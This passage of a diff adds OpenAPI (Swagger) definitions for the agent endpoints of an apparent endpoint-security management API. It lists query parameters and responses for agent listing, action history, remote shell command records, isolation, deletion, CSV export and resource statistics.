+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - in: query
+          name: groups_size__lt
+          required: false
+          type: number
+        - in: query
+          name: groups_size__lte
+          required: false
+          type: number
+        - in: query
+          name: groups_size__gt
+          required: false
+          type: number
+        - in: query
+          name: groups_size__gte
+          required: false
+          type: number
+        - in: query
+          name: groups_size__match
+          required: false
+          type: number
+        - in: query
+          name: case_id
+          required: false
+          type: string
+        - in: query
+          name: case_id!
+          required: false
+          type: string
+        - in: query
+          name: groups.name__wildcard
+          required: false
+          type: string
+        - in: query
+          name: groups.name__exact
+          required: false
+          type: string
+        - in: query
+          name: threat_id
+          required: false
+          type: string
+        - in: query
+          name: threat_id!
+          required: false
+          type: string
+        - in: query
+          name: telemetry.bpf__wildcard
+          required: false
+          type: string
+        - in: query
+          name: telemetry.bpf__exact
+          required: false
+          type: string
+        - in: query
+          name: telemetry.<any subfield>__wildcard
+          required: false
+          type: string
+        - in: query
+          name: telemetry.<any subfield>__exact
+          required: false
+          type: string
+        - in: query
+          name: telemetry.source
+          required: false
+          type: string
+        - in: query
+          name: device_control_policy_id
+          required: false
+          type: string
+        - in: query
+          name: vdi_mode
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: policy.name
+          required: false
+          type: string
+        - in: query
+          name: policy.id
+          required: false
+          type: string
+        - in: query
+          name: policy.windows_self_protection
+          required: false
+          type: boolean
+        - in: query
+          name: policy.linux_self_protection
+          required: false
+          type: boolean
+        - in: query
+          name: policy.antivirus_policy_name
+          required: false
+          type: string
+        - enum:
+            - access_denied
+            - idle
+            - offline
+            - online
+          in: query
+          name: status
+          required: false
+          type: string
+        - enum:
+            - linux
+            - macos
+            - windows
+          in: query
+          name: ostype
+          required: false
+          type: string
+        - in: query
+          name: additional_info.additional_info1
+          required: false
+          type: string
+        - in: query
+          name: additional_info.additional_info2
+          required: false
+          type: string
+        - in: query
+          name: additional_info.additional_info3
+          required: false
+          type: string
+        - in: query
+          name: additional_info.additional_info4
+          required: false
+          type: string
+        - in: query
+          name: groups.id
+          required: false
+          type: string
+        - in: query
+          name: encrypted_disk_count
+          required: false
+          type: number
+        - in: query
+          name: disk_count
+          required: false
+          type: number
+        - in: query
+          name: group_count
+          required: false
+          type: number
+        - in: query
+          name: subnet.gateway_ipaddress
+          required: false
+          type: string
+        - in: query
+          name: subnet.gateway_macaddress
+          required: false
+          type: string
+        - in: query
+          name: subnet.name
+          required: false
+          type: string
+        - in: query
+          name: os_install_date
+          required: false
+          type: string
+        - in: query
+          name: hardware_address
+          required: false
+          type: string
+        - in: query
+          name: antivirus_policy_revision
+          required: false
+          type: number
+        - in: query
+          name: antivirus_is_up_to_date
+          required: false
+          type: boolean
+        - in: query
+          name: last_upgrade_attempt
+          required: false
+          type: string
+        - in: query
+          name: last_upgrade_success
+          required: false
+          type: string
+        - in: query
+          name: major_version
+          required: false
+          type: number
+        - in: query
+          name: minor_version
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Agent'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/ActionHistory/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_ActionHistory_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_type
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AgentActionHistory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/ActionHistory/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_Agent_ActionHistory_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: action_type
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/ActionHistory/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_ActionHistory_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentActionHistory'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this agent action history.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/RemoteShellCommand/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellCommand_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: command
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: response
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: session_id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: id
+          required: false
+          type: string
+        - in: query
+          name: session.agent.id
+          required: false
+          type: string
+        - in: query
+          name: session.agent.hostname
+          required: false
+          type: string
+        - in: query
+          name: session.user.id
+          required: false
+          type: string
+        - in: query
+          name: session.user.username
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/RemoteShellCommand'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/RemoteShellCommand/{id}/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_RemoteShellCommand_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShellCommand'
+      tags:
+        - agent
+    parameters:
+      - description: A UUID string identifying this remote shell command.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/endpoint/Agent/dashboard_stats/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_dashboard_stats
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDashboardStat'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/deisolate/:
+    parameters: []
+    post:
+      description: Request network deisolation on given agents
+      operationId: data_endpoint_Agent_deisolate_many
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentIsolation'
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+  /data/endpoint/Agent/delete/:
+    delete:
+      description: ""
+      operationId: data_endpoint_Agent_delete_list
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentIdList'
+      responses:
+        "200":
+          description: Success
+          examples:
+            application/json:
+              status: agent deleted
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Not found.
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_endpoint_Agent_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/global_stats_resource_cpu/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_global_stats_resource_cpu
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: public_server_signature
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: proxy_host
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: proxy_port
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: vdi_salt
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: update_method
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: upgrade_status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: upgrade_failure_reason
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentDatasetsStat'
+      tags:
+        - agent
+    parameters: []
+  /data/endpoint/Agent/global_stats_resource_ram/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_global_stats_resource_ram
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: protocol
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: host
+          required: false
+          type: string
